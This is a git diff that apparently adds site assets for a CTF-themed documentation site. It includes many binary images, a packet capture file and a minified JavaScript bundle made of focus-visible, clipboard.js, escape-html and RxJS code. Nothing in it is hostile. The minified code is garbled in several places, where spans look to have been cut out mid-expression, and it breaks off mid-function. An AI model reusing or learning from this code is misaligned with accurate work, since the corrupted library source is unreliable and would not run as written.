b/assets/a1ecafabcadcb41aaea235af580c7f3b1f7707b100d32984ee97bfa4b0ec1edb.png differ diff --git a/assets/apk1.png b/assets/apk1.png new file mode 100644 index 000000000..ddfad7f1e Binary files /dev/null and b/assets/apk1.png differ diff --git a/assets/apk2.webp b/assets/apk2.webp new file mode 100644 index 000000000..00154a4a3 Binary files /dev/null and b/assets/apk2.webp differ diff --git a/assets/apk3.webp b/assets/apk3.webp new file mode 100644 index 000000000..f2e2f2a3c Binary files /dev/null and b/assets/apk3.webp differ diff --git a/assets/apk4.webp b/assets/apk4.webp new file mode 100644 index 000000000..0f6747253 Binary files /dev/null and b/assets/apk4.webp differ diff --git a/assets/apk5.webp b/assets/apk5.webp new file mode 100644 index 000000000..4fc1799be Binary files /dev/null and b/assets/apk5.webp differ diff --git a/assets/apk6.webp b/assets/apk6.webp new file mode 100644 index 000000000..5c032464b Binary files /dev/null and b/assets/apk6.webp differ diff --git a/assets/apk7.webp b/assets/apk7.webp new file mode 100644 index 000000000..6bd956d9c Binary files /dev/null and b/assets/apk7.webp differ diff --git a/assets/apk8.webp b/assets/apk8.webp new file mode 100644 index 000000000..833d934fc Binary files /dev/null and b/assets/apk8.webp differ diff --git a/assets/blowfishgame1.webp b/assets/blowfishgame1.webp new file mode 100644 index 000000000..1da95506c Binary files /dev/null and b/assets/blowfishgame1.webp differ diff --git a/assets/c111.png b/assets/c111.png new file mode 100644 index 000000000..3775516be Binary files /dev/null and b/assets/c111.png differ diff --git a/assets/c112.png b/assets/c112.png new file mode 100644 index 000000000..9111c9cb2 Binary files /dev/null and b/assets/c112.png differ diff --git a/assets/c511.jpg b/assets/c511.jpg new file mode 100644 index 000000000..17099f2b4 Binary files /dev/null and b/assets/c511.jpg differ diff --git a/assets/c512.jpg b/assets/c512.jpg new file mode 100644 index 000000000..e1a7769fd Binary files /dev/null and b/assets/c512.jpg differ diff --git a/assets/chall1-2.jpg b/assets/chall1-2.jpg new file mode 100644 index 000000000..fa0302529 Binary files /dev/null and b/assets/chall1-2.jpg differ diff --git a/assets/char-encoding-problem_hd.png b/assets/char-encoding-problem_hd.png new file mode 100644 index 000000000..e4f3c3a06 Binary files /dev/null and b/assets/char-encoding-problem_hd.png differ diff --git a/assets/ciscn2023.png b/assets/ciscn2023.png new file mode 100644 index 000000000..73999704b Binary files /dev/null and b/assets/ciscn2023.png differ diff --git a/assets/ciscn2023_.jpeg b/assets/ciscn2023_.jpeg new file mode 100644 index 000000000..8d806d678 Binary files /dev/null and b/assets/ciscn2023_.jpeg differ diff --git a/assets/ciscn2023_2.jpg b/assets/ciscn2023_2.jpg new file mode 100644 index 000000000..12f8eeb11 Binary files /dev/null and b/assets/ciscn2023_2.jpg differ diff --git a/assets/ciscn2023_half.jpg b/assets/ciscn2023_half.jpg new file mode 100644 index 000000000..bf9b946d8 Binary files /dev/null and b/assets/ciscn2023_half.jpg differ diff --git a/assets/cmp.png b/assets/cmp.png new file mode 100644 index 000000000..81881fc0f Binary files /dev/null and b/assets/cmp.png differ diff --git a/assets/code1.jpg b/assets/code1.jpg new file mode 100644 index 000000000..56129dbaf Binary files /dev/null and b/assets/code1.jpg differ diff --git a/assets/cqb2022.png b/assets/cqb2022.png new file mode 100644 index 000000000..0457c2513 Binary files /dev/null and b/assets/cqb2022.png differ diff --git a/assets/ctf101.png b/assets/ctf101.png new file mode 100644 index 000000000..88dbc1683 Binary files /dev/null and b/assets/ctf101.png differ diff --git a/assets/ctflearn1.png b/assets/ctflearn1.png new file mode 100644 index 000000000..d465b1f8b Binary files /dev/null and b/assets/ctflearn1.png differ diff --git a/assets/ctflearn2.png b/assets/ctflearn2.png new file mode 100644 index 000000000..ba1bccb36 Binary files /dev/null and b/assets/ctflearn2.png differ diff --git a/assets/ctftime1.png b/assets/ctftime1.png new file mode 100644 index 000000000..3b14f00f4 Binary files /dev/null and b/assets/ctftime1.png differ diff --git a/assets/ctftime2.png b/assets/ctftime2.png new file mode 100644 index 000000000..68da60bca Binary files /dev/null and b/assets/ctftime2.png differ diff --git a/assets/dfjk2022q.jpg b/assets/dfjk2022q.jpg new file mode 100644 index 000000000..8833a8a15 Binary files /dev/null and b/assets/dfjk2022q.jpg differ diff --git a/assets/dfjkks2022.jpg b/assets/dfjkks2022.jpg new file mode 100644 index 000000000..2ab70397e Binary files /dev/null and b/assets/dfjkks2022.jpg differ diff --git a/assets/dice2022.jpg b/assets/dice2022.jpg new file mode 100644 index 000000000..334105aa7 Binary files /dev/null and b/assets/dice2022.jpg differ diff --git a/assets/e631.jpg b/assets/e631.jpg new file mode 100644 index 000000000..d826125c0 Binary files /dev/null and b/assets/e631.jpg differ diff --git a/assets/e632.jpg b/assets/e632.jpg new file mode 100644 index 000000000..35e0c4aba Binary files /dev/null and b/assets/e632.jpg differ diff --git a/assets/e651.png b/assets/e651.png new file mode 100644 index 000000000..29d040c9c Binary files /dev/null and b/assets/e651.png differ diff --git a/assets/e6521.png b/assets/e6521.png new file mode 100644 index 000000000..c16a3986f Binary files /dev/null and b/assets/e6521.png differ diff --git a/assets/e6522.png b/assets/e6522.png new file mode 100644 index 000000000..fb2a5a156 Binary files /dev/null and b/assets/e6522.png differ diff --git a/assets/f651.png b/assets/f651.png new file mode 100644 index 000000000..9f7fa3e12 Binary files /dev/null and b/assets/f651.png differ diff --git a/assets/f652.png b/assets/f652.png new file mode 100644 index 000000000..be0ddcda3 Binary files /dev/null and b/assets/f652.png differ diff --git a/assets/f653.png b/assets/f653.png new file mode 100644 index 000000000..b1ed991f9 Binary files /dev/null and b/assets/f653.png differ diff --git a/assets/f654.png b/assets/f654.png new file mode 100644 index 000000000..8d62dfeb5 Binary files /dev/null and b/assets/f654.png differ diff --git a/assets/f655.png b/assets/f655.png new file mode 100644 index 000000000..8fc4c6697 Binary files /dev/null and b/assets/f655.png differ diff --git a/assets/f656.png b/assets/f656.png new file mode 100644 index 000000000..801c54dc5 Binary files /dev/null and b/assets/f656.png differ diff --git a/assets/f657.png b/assets/f657.png new file mode 100644 index 000000000..ab79dc996 Binary files /dev/null and b/assets/f657.png differ diff --git a/assets/f658.png b/assets/f658.png new file mode 100644 index 000000000..8509b6078 Binary files /dev/null and b/assets/f658.png differ diff --git a/assets/f659.png b/assets/f659.png new file mode 100644 index 000000000..9056170c9 Binary files /dev/null and b/assets/f659.png differ diff --git a/assets/f660.png b/assets/f660.png new file mode 100644 index 000000000..77b1656ff Binary files /dev/null and b/assets/f660.png differ diff --git a/assets/f661.png b/assets/f661.png new file mode 100644 index 000000000..c86dfde24 Binary files /dev/null and b/assets/f661.png differ diff --git a/assets/f662.png b/assets/f662.png new file mode 100644 index 000000000..ef14325c7 Binary files /dev/null and b/assets/f662.png differ diff --git a/assets/f663.png b/assets/f663.png new file mode 100644 index 000000000..b5935f72a Binary files /dev/null and b/assets/f663.png differ diff --git a/assets/f664.png b/assets/f664.png new file mode 100644 index 000000000..70198f43c Binary files /dev/null and b/assets/f664.png differ diff --git a/assets/f665.png b/assets/f665.png new file mode 100644 index 000000000..08a0ad496 Binary files /dev/null and b/assets/f665.png differ diff --git a/assets/fact_n_hd.png b/assets/fact_n_hd.png new file mode 100644 index 000000000..77dc22011 Binary files /dev/null and b/assets/fact_n_hd.png differ diff --git a/assets/favicon.ico b/assets/favicon.ico new file mode 100644 index 000000000..8f613a46b Binary files /dev/null and b/assets/favicon.ico differ diff --git a/assets/fenxi.pcapng b/assets/fenxi.pcapng new file mode 100644 index 000000000..f234ea330 Binary files /dev/null and b/assets/fenxi.pcapng differ diff --git a/assets/gdss2022js.png b/assets/gdss2022js.png new file mode 100644 index 000000000..5c6287ae5 Binary files /dev/null and b/assets/gdss2022js.png differ diff --git a/assets/gdss2022jsxx.png b/assets/gdss2022jsxx.png new file mode 100644 index 000000000..9c9c8844d Binary files /dev/null and b/assets/gdss2022jsxx.png differ diff --git a/assets/how to become a hacker1.png b/assets/how to become a hacker1.png new file mode 100644 index 000000000..c9169de0d Binary files /dev/null and b/assets/how to become a hacker1.png differ diff --git a/assets/ichunqiu1.png b/assets/ichunqiu1.png new file mode 100644 index 000000000..a030d71ac Binary files /dev/null and b/assets/ichunqiu1.png differ diff --git a/assets/icon.png b/assets/icon.png new file mode 100644 index 000000000..ac93d5762 Binary files /dev/null and b/assets/icon.png differ diff --git a/assets/images/favicon.png b/assets/images/favicon.png new file mode 100644 index 000000000..1cf13b9f9 Binary files /dev/null and b/assets/images/favicon.png differ diff --git a/assets/install-py35_hd.png b/assets/install-py35_hd.png new file mode 100644 index 000000000..4c05582be Binary files /dev/null and b/assets/install-py35_hd.png differ diff --git a/assets/javascripts/bundle.d7c377c4.min.js b/assets/javascripts/bundle.d7c377c4.min.js new file mode 100644 index 000000000..6a0bcf880 --- /dev/null +++ b/assets/javascripts/bundle.d7c377c4.min.js @@ -0,0 +1,29 @@ +"use strict";(()=>{var Mi=Object.create;var gr=Object.defineProperty;var Li=Object.getOwnPropertyDescriptor;var _i=Object.getOwnPropertyNames,Ft=Object.getOwnPropertySymbols,Ai=Object.getPrototypeOf,xr=Object.prototype.hasOwnProperty,ro=Object.prototype.propertyIsEnumerable;var to=(e,t,r)=>t in e?gr(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,P=(e,t)=>{for(var r in t||(t={}))xr.call(t,r)&&to(e,r,t[r]);if(Ft)for(var r of Ft(t))ro.call(t,r)&&to(e,r,t[r]);return e};var oo=(e,t)=>{var r={};for(var o in e)xr.call(e,o)&&t.indexOf(o)<0&&(r[o]=e[o]);if(e!=null&&Ft)for(var o of Ft(e))t.indexOf(o)<0&&ro.call(e,o)&&(r[o]=e[o]);return r};var yr=(e,t)=>()=>(t||e((t={exports:{}}).exports,t),t.exports);var Ci=(e,t,r,o)=>{if(t&&typeof t=="object"||typeof t=="function")for(let n of _i(t))!xr.call(e,n)&&n!==r&&gr(e,n,{get:()=>t[n],enumerable:!(o=Li(t,n))||o.enumerable});return e};var jt=(e,t,r)=>(r=e!=null?Mi(Ai(e)):{},Ci(t||!e||!e.__esModule?gr(r,"default",{value:e,enumerable:!0}):r,e));var no=(e,t,r)=>new Promise((o,n)=>{var i=c=>{try{a(r.next(c))}catch(p){n(p)}},s=c=>{try{a(r.throw(c))}catch(p){n(p)}},a=c=>c.done?o(c.value):Promise.resolve(c.value).then(i,s);a((r=r.apply(e,t)).next())});var ao=yr((Er,io)=>{(function(e,t){typeof Er=="object"&&typeof io!="undefined"?t():typeof define=="function"&&define.amd?define(t):t()})(Er,function(){"use strict";function e(r){var o=!0,n=!1,i=null,s={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function a(C){return!!(C&&C!==document&&C.nodeName!=="HTML"&&C.nodeName!=="BODY"&&"classList"in C&&"contains"in C.classList)}function c(C){var ct=C.type,Ve=C.tagName;return!!(Ve==="INPUT"&&s[ct]&&!C.readOnly||Ve==="TEXTAREA"&&!C.readOnly||C.isContentEditable)}function p(C){C.classList.contains("focus-visible")||(C.classList.add("focus-visible"),C.setAttribute("data-focus-visible-added",""))}function l(C){C.hasAttribute("data-focus-visible-added")&&(C.classList.remove("focus-visible"),C.removeAttribute("data-focus-visible-added"))}function f(C){C.metaKey||C.altKey||C.ctrlKey||(a(r.activeElement)&&p(r.activeElement),o=!0)}function u(C){o=!1}function d(C){a(C.target)&&(o||c(C.target))&&p(C.target)}function y(C){a(C.target)&&(C.target.classList.contains("focus-visible")||C.target.hasAttribute("data-focus-visible-added"))&&(n=!0,window.clearTimeout(i),i=window.setTimeout(function(){n=!1},100),l(C.target))}function b(C){document.visibilityState==="hidden"&&(n&&(o=!0),D())}function D(){document.addEventListener("mousemove",J),document.addEventListener("mousedown",J),document.addEventListener("mouseup",J),document.addEventListener("pointermove",J),document.addEventListener("pointerdown",J),document.addEventListener("pointerup",J),document.addEventListener("touchmove",J),document.addEventListener("touchstart",J),document.addEventListener("touchend",J)}function Q(){document.removeEventListener("mousemove",J),document.removeEventListener("mousedown",J),document.removeEventListener("mouseup",J),document.removeEventListener("pointermove",J),document.removeEventListener("pointerdown",J),document.removeEventListener("pointerup",J),document.removeEventListener("touchmove",J),document.removeEventListener("touchstart",J),document.removeEventListener("touchend",J)}function J(C){C.target.nodeName&&C.target.nodeName.toLowerCase()==="html"||(o=!1,Q())}document.addEventListener("keydown",f,!0),document.addEventListener("mousedown",u,!0),document.addEventListener("pointerdown",u,!0),document.addEventListener("touchstart",u,!0),document.addEventListener("visibilitychange",b,!0),D(),r.addEventListener("focus",d,!0),r.addEventListener("blur",y,!0),r.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&r.host?r.host.setAttribute("data-js-focus-visible",""):r.nodeType===Node.DOCUMENT_NODE&&(document.documentElement.classList.add("js-focus-visible"),document.documentElement.setAttribute("data-js-focus-visible",""))}if(typeof window!="undefined"&&typeof document!="undefined"){window.applyFocusVisiblePolyfill=e;var t;try{t=new CustomEvent("focus-visible-polyfill-ready")}catch(r){t=document.createEvent("CustomEvent"),t.initCustomEvent("focus-visible-polyfill-ready",!1,!1,{})}window.dispatchEvent(t)}typeof document!="undefined"&&e(document)})});var Kr=yr((kt,qr)=>{/*! + * clipboard.js v2.0.11 + * https://clipboardjs.com/ + * + * Licensed MIT © Zeno Rocha + */(function(t,r){typeof kt=="object"&&typeof qr=="object"?qr.exports=r():typeof define=="function"&&define.amd?define([],r):typeof kt=="object"?kt.ClipboardJS=r():t.ClipboardJS=r()})(kt,function(){return function(){var e={686:function(o,n,i){"use strict";i.d(n,{default:function(){return Oi}});var s=i(279),a=i.n(s),c=i(370),p=i.n(c),l=i(817),f=i.n(l);function u(V){try{return document.execCommand(V)}catch(_){return!1}}var d=function(_){var O=f()(_);return u("cut"),O},y=d;function b(V){var _=document.documentElement.getAttribute("dir")==="rtl",O=document.createElement("textarea");O.style.fontSize="12pt",O.style.border="0",O.style.padding="0",O.style.margin="0",O.style.position="absolute",O.style[_?"right":"left"]="-9999px";var $=window.pageYOffset||document.documentElement.scrollTop;return O.style.top="".concat($,"px"),O.setAttribute("readonly",""),O.value=V,O}var D=function(_,O){var $=b(_);O.container.appendChild($);var N=f()($);return u("copy"),$.remove(),N},Q=function(_){var O=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body},$="";return typeof _=="string"?$=D(_,O):_ instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(_==null?void 0:_.type)?$=D(_.value,O):($=f()(_),u("copy")),$},J=Q;function C(V){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?C=function(O){return typeof O}:C=function(O){return O&&typeof Symbol=="function"&&O.constructor===Symbol&&O!==Symbol.prototype?"symbol":typeof O},C(V)}var ct=function(){var _=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},O=_.action,$=O===void 0?"copy":O,N=_.container,Y=_.target,ke=_.text;if($!=="copy"&&$!=="cut")throw new Error('Invalid "action" value, use either "copy" or "cut"');if(Y!==void 0)if(Y&&C(Y)==="object"&&Y.nodeType===1){if($==="copy"&&Y.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if($==="cut"&&(Y.hasAttribute("readonly")||Y.hasAttribute("disabled")))throw new Error(`Invalid "target" attribute. You can't cut text from elements with "readonly" or "disabled" attributes`)}else throw new Error('Invalid "target" value, use a valid Element');if(ke)return J(ke,{container:N});if(Y)return $==="cut"?y(Y):J(Y,{container:N})},Ve=ct;function Fe(V){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?Fe=function(O){return typeof O}:Fe=function(O){return O&&typeof Symbol=="function"&&O.constructor===Symbol&&O!==Symbol.prototype?"symbol":typeof O},Fe(V)}function vi(V,_){if(!(V instanceof _))throw new TypeError("Cannot call a class as a function")}function eo(V,_){for(var O=0;O<_.length;O++){var $=_[O];$.enumerable=$.enumerable||!1,$.configurable=!0,"value"in $&&($.writable=!0),Object.defineProperty(V,$.key,$)}}function gi(V,_,O){return _&&eo(V.prototype,_),O&&eo(V,O),V}function xi(V,_){if(typeof _!="function"&&_!==null)throw new TypeError("Super expression must either be null or a function");V.prototype=Object.create(_&&_.prototype,{constructor:{value:V,writable:!0,configurable:!0}}),_&&br(V,_)}function br(V,_){return br=Object.setPrototypeOf||function($,N){return $.__proto__=N,$},br(V,_)}function yi(V){var _=Ti();return function(){var $=Rt(V),N;if(_){var Y=Rt(this).constructor;N=Reflect.construct($,arguments,Y)}else N=$.apply(this,arguments);return Ei(this,N)}}function Ei(V,_){return _&&(Fe(_)==="object"||typeof _=="function")?_:wi(V)}function wi(V){if(V===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return V}function Ti(){if(typeof Reflect=="undefined"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(V){return!1}}function Rt(V){return Rt=Object.setPrototypeOf?Object.getPrototypeOf:function(O){return O.__proto__||Object.getPrototypeOf(O)},Rt(V)}function vr(V,_){var O="data-clipboard-".concat(V);if(_.hasAttribute(O))return _.getAttribute(O)}var Si=function(V){xi(O,V);var _=yi(O);function O($,N){var Y;return vi(this,O),Y=_.call(this),Y.resolveOptions(N),Y.listenClick($),Y}return gi(O,[{key:"resolveOptions",value:function(){var N=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};this.action=typeof N.action=="function"?N.action:this.defaultAction,this.target=typeof N.target=="function"?N.target:this.defaultTarget,this.text=typeof N.text=="function"?N.text:this.defaultText,this.container=Fe(N.container)==="object"?N.container:document.body}},{key:"listenClick",value:function(N){var Y=this;this.listener=p()(N,"click",function(ke){return Y.onClick(ke)})}},{key:"onClick",value:function(N){var Y=N.delegateTarget||N.currentTarget,ke=this.action(Y)||"copy",It=Ve({action:ke,container:this.container,target:this.target(Y),text:this.text(Y)});this.emit(It?"success":"error",{action:ke,text:It,trigger:Y,clearSelection:function(){Y&&Y.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(N){return vr("action",N)}},{key:"defaultTarget",value:function(N){var Y=vr("target",N);if(Y)return document.querySelector(Y)}},{key:"defaultText",value:function(N){return vr("text",N)}},{key:"destroy",value:function(){this.listener.destroy()}}],[{key:"copy",value:function(N){var Y=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body};return J(N,Y)}},{key:"cut",value:function(N){return y(N)}},{key:"isSupported",value:function(){var N=arguments.length>0&&arguments[0]!==void 0?arguments[0]:["copy","cut"],Y=typeof N=="string"?[N]:N,ke=!!document.queryCommandSupported;return Y.forEach(function(It){ke=ke&&!!document.queryCommandSupported(It)}),ke}}]),O}(a()),Oi=Si},828:function(o){var n=9;if(typeof Element!="undefined"&&!Element.prototype.matches){var i=Element.prototype;i.matches=i.matchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector||i.webkitMatchesSelector}function s(a,c){for(;a&&a.nodeType!==n;){if(typeof a.matches=="function"&&a.matches(c))return a;a=a.parentNode}}o.exports=s},438:function(o,n,i){var s=i(828);function a(l,f,u,d,y){var b=p.apply(this,arguments);return l.addEventListener(u,b,y),{destroy:function(){l.removeEventListener(u,b,y)}}}function c(l,f,u,d,y){return typeof l.addEventListener=="function"?a.apply(null,arguments):typeof u=="function"?a.bind(null,document).apply(null,arguments):(typeof l=="string"&&(l=document.querySelectorAll(l)),Array.prototype.map.call(l,function(b){return a(b,f,u,d,y)}))}function p(l,f,u,d){return function(y){y.delegateTarget=s(y.target,f),y.delegateTarget&&d.call(l,y)}}o.exports=c},879:function(o,n){n.node=function(i){return i!==void 0&&i instanceof HTMLElement&&i.nodeType===1},n.nodeList=function(i){var s=Object.prototype.toString.call(i);return i!==void 0&&(s==="[object NodeList]"||s==="[object HTMLCollection]")&&"length"in i&&(i.length===0||n.node(i[0]))},n.string=function(i){return typeof i=="string"||i instanceof String},n.fn=function(i){var s=Object.prototype.toString.call(i);return s==="[object Function]"}},370:function(o,n,i){var s=i(879),a=i(438);function c(u,d,y){if(!u&&!d&&!y)throw new Error("Missing required arguments");if(!s.string(d))throw new TypeError("Second argument must be a String");if(!s.fn(y))throw new TypeError("Third argument must be a Function");if(s.node(u))return p(u,d,y);if(s.nodeList(u))return l(u,d,y);if(s.string(u))return f(u,d,y);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function p(u,d,y){return u.addEventListener(d,y),{destroy:function(){u.removeEventListener(d,y)}}}function l(u,d,y){return Array.prototype.forEach.call(u,function(b){b.addEventListener(d,y)}),{destroy:function(){Array.prototype.forEach.call(u,function(b){b.removeEventListener(d,y)})}}}function f(u,d,y){return a(document.body,u,d,y)}o.exports=c},817:function(o){function n(i){var s;if(i.nodeName==="SELECT")i.focus(),s=i.value;else if(i.nodeName==="INPUT"||i.nodeName==="TEXTAREA"){var a=i.hasAttribute("readonly");a||i.setAttribute("readonly",""),i.select(),i.setSelectionRange(0,i.value.length),a||i.removeAttribute("readonly"),s=i.value}else{i.hasAttribute("contenteditable")&&i.focus();var c=window.getSelection(),p=document.createRange();p.selectNodeContents(i),c.removeAllRanges(),c.addRange(p),s=c.toString()}return s}o.exports=n},279:function(o){function n(){}n.prototype={on:function(i,s,a){var c=this.e||(this.e={});return(c[i]||(c[i]=[])).push({fn:s,ctx:a}),this},once:function(i,s,a){var c=this;function p(){c.off(i,p),s.apply(a,arguments)}return p._=s,this.on(i,p,a)},emit:function(i){var s=[].slice.call(arguments,1),a=((this.e||(this.e={}))[i]||[]).slice(),c=0,p=a.length;for(c;c{"use strict";/*! + * escape-html + * Copyright(c) 2012-2013 TJ Holowaychuk + * Copyright(c) 2015 Andreas Lubbe + * Copyright(c) 2015 Tiancheng "Timothy" Gu + * MIT Licensed + */var Wa=/["'&<>]/;Vn.exports=Ua;function Ua(e){var t=""+e,r=Wa.exec(t);if(!r)return t;var o,n="",i=0,s=0;for(i=r.index;i0&&i[i.length-1])&&(p[0]===6||p[0]===2)){r=0;continue}if(p[0]===3&&(!i||p[1]>i[0]&&p[1]=e.length&&(e=void 0),{value:e&&e[o++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function z(e,t){var r=typeof Symbol=="function"&&e[Symbol.iterator];if(!r)return e;var o=r.call(e),n,i=[],s;try{for(;(t===void 0||t-- >0)&&!(n=o.next()).done;)i.push(n.value)}catch(a){s={error:a}}finally{try{n&&!n.done&&(r=o.return)&&r.call(o)}finally{if(s)throw s.error}}return i}function K(e,t,r){if(r||arguments.length===2)for(var o=0,n=t.length,i;o1||a(u,d)})})}function a(u,d){try{c(o[u](d))}catch(y){f(i[0][3],y)}}function c(u){u.value instanceof ot?Promise.resolve(u.value.v).then(p,l):f(i[0][2],u)}function p(u){a("next",u)}function l(u){a("throw",u)}function f(u,d){u(d),i.shift(),i.length&&a(i[0][0],i[0][1])}}function po(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t=e[Symbol.asyncIterator],r;return t?t.call(e):(e=typeof be=="function"?be(e):e[Symbol.iterator](),r={},o("next"),o("throw"),o("return"),r[Symbol.asyncIterator]=function(){return this},r);function o(i){r[i]=e[i]&&function(s){return new Promise(function(a,c){s=e[i](s),n(a,c,s.done,s.value)})}}function n(i,s,a,c){Promise.resolve(c).then(function(p){i({value:p,done:a})},s)}}function k(e){return typeof e=="function"}function pt(e){var t=function(o){Error.call(o),o.stack=new Error().stack},r=e(t);return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}var Ut=pt(function(e){return function(r){e(this),this.message=r?r.length+` errors occurred during unsubscription: +`+r.map(function(o,n){return n+1+") "+o.toString()}).join(` + `):"",this.name="UnsubscriptionError",this.errors=r}});function ze(e,t){if(e){var r=e.indexOf(t);0<=r&&e.splice(r,1)}}var je=function(){function e(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}return e.prototype.unsubscribe=function(){var t,r,o,n,i;if(!this.closed){this.closed=!0;var s=this._parentage;if(s)if(this._parentage=null,Array.isArray(s))try{for(var a=be(s),c=a.next();!c.done;c=a.next()){var p=c.value;p.remove(this)}}catch(b){t={error:b}}finally{try{c&&!c.done&&(r=a.return)&&r.call(a)}finally{if(t)throw t.error}}else s.remove(this);var l=this.initialTeardown;if(k(l))try{l()}catch(b){i=b instanceof Ut?b.errors:[b]}var f=this._finalizers;if(f){this._finalizers=null;try{for(var u=be(f),d=u.next();!d.done;d=u.next()){var y=d.value;try{lo(y)}catch(b){i=i!=null?i:[],b instanceof Ut?i=K(K([],z(i)),z(b.errors)):i.push(b)}}}catch(b){o={error:b}}finally{try{d&&!d.done&&(n=u.return)&&n.call(u)}finally{if(o)throw o.error}}}if(i)throw new Ut(i)}},e.prototype.add=function(t){var r;if(t&&t!==this)if(this.closed)lo(t);else{if(t instanceof e){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=(r=this._finalizers)!==null&&r!==void 0?r:[]).push(t)}},e.prototype._hasParent=function(t){var r=this._parentage;return r===t||Array.isArray(r)&&r.includes(t)},e.prototype._addParent=function(t){var r=this._parentage;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t},e.prototype._removeParent=function(t){var r=this._parentage;r===t?this._parentage=null:Array.isArray(r)&&ze(r,t)},e.prototype.remove=function(t){var r=this._finalizers;r&&ze(r,t),t instanceof e&&t._removeParent(this)},e.EMPTY=function(){var t=new e;return t.closed=!0,t}(),e}();var Tr=je.EMPTY;function Nt(e){return e instanceof je||e&&"closed"in e&&k(e.remove)&&k(e.add)&&k(e.unsubscribe)}function lo(e){k(e)?e():e.unsubscribe()}var He={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1};var lt={setTimeout:function(e,t){for(var r=[],o=2;o0},enumerable:!1,configurable:!0}),t.prototype._trySubscribe=function(r){return this._throwIfClosed(),e.prototype._trySubscribe.call(this,r)},t.prototype._subscribe=function(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)},t.prototype._innerSubscribe=function(r){var o=this,n=this,i=n.hasError,s=n.isStopped,a=n.observers;return i||s?Tr:(this.currentObservers=null,a.push(r),new je(function(){o.currentObservers=null,ze(a,r)}))},t.prototype._checkFinalizedStatuses=function(r){var o=this,n=o.hasError,i=o.thrownError,s=o.isStopped;n?r.error(i):s&&r.complete()},t.prototype.asObservable=function(){var r=new I;return r.source=this,r},t.create=function(r,o){return new xo(r,o)},t}(I);var xo=function(e){se(t,e);function t(r,o){var n=e.call(this)||this;return n.destination=r,n.source=o,n}return t.prototype.next=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.next)===null||n===void 0||n.call(o,r)},t.prototype.error=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.error)===null||n===void 0||n.call(o,r)},t.prototype.complete=function(){var r,o;(o=(r=this.destination)===null||r===void 0?void 0:r.complete)===null||o===void 0||o.call(r)},t.prototype._subscribe=function(r){var o,n;return(n=(o=this.source)===null||o===void 0?void 0:o.subscribe(r))!==null&&n!==void 0?n:Tr},t}(x);var St={now:function(){return(St.delegate||Date).now()},delegate:void 0};var Ot=function(e){se(t,e);function t(r,o,n){r===void 0&&(r=1/0),o===void 0&&(o=1/0),n===void 0&&(n=St);var i=e.call(this)||this;return i._bufferSize=r,i._windowTime=o,i._timestampProvider=n,i._buffer=[],i._infiniteTimeWindow=!0,i._infiniteTimeWindow=o===1/0,i._bufferSize=Math.max(1,r),i._windowTime=Math.max(1,o),i}return t.prototype.next=function(r){var o=this,n=o.isStopped,i=o._buffer,s=o._infiniteTimeWindow,a=o._timestampProvider,c=o._windowTime;n||(i.push(r),!s&&i.push(a.now()+c)),this._trimBuffer(),e.prototype.next.call(this,r)},t.prototype._subscribe=function(r){this._throwIfClosed(),this._trimBuffer();for(var o=this._innerSubscribe(r),n=this,i=n._infiniteTimeWindow,s=n._buffer,a=s.slice(),c=0;c0?e.prototype.requestAsyncId.call(this,r,o,n):(r.actions.push(this),r._scheduled||(r._scheduled=ut.requestAnimationFrame(function(){return r.flush(void 0)})))},t.prototype.recycleAsyncId=function(r,o,n){var i;if(n===void 0&&(n=0),n!=null?n>0:this.delay>0)return e.prototype.recycleAsyncId.call(this,r,o,n);var s=r.actions;o!=null&&((i=s[s.length-1])===null||i===void 0?void 0:i.id)!==o&&(ut.cancelAnimationFrame(o),r._scheduled=void 0)},t}(zt);var wo=function(e){se(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.flush=function(r){this._active=!0;var o=this._scheduled;this._scheduled=void 0;var n=this.actions,i;r=r||n.shift();do if(i=r.execute(r.state,r.delay))break;while((r=n[0])&&r.id===o&&n.shift());if(this._active=!1,i){for(;(r=n[0])&&r.id===o&&n.shift();)r.unsubscribe();throw i}},t}(qt);var ge=new wo(Eo);var M=new I(function(e){return e.complete()});function Kt(e){return e&&k(e.schedule)}function Cr(e){return e[e.length-1]}function Ge(e){return k(Cr(e))?e.pop():void 0}function Ae(e){return Kt(Cr(e))?e.pop():void 0}function Qt(e,t){return typeof Cr(e)=="number"?e.pop():t}var dt=function(e){return e&&typeof e.length=="number"&&typeof e!="function"};function Yt(e){return k(e==null?void 0:e.then)}function Bt(e){return k(e[ft])}function Gt(e){return Symbol.asyncIterator&&k(e==null?void 0:e[Symbol.asyncIterator])}function Jt(e){return new TypeError("You provided "+(e!==null&&typeof e=="object"?"an invalid object":"'"+e+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function 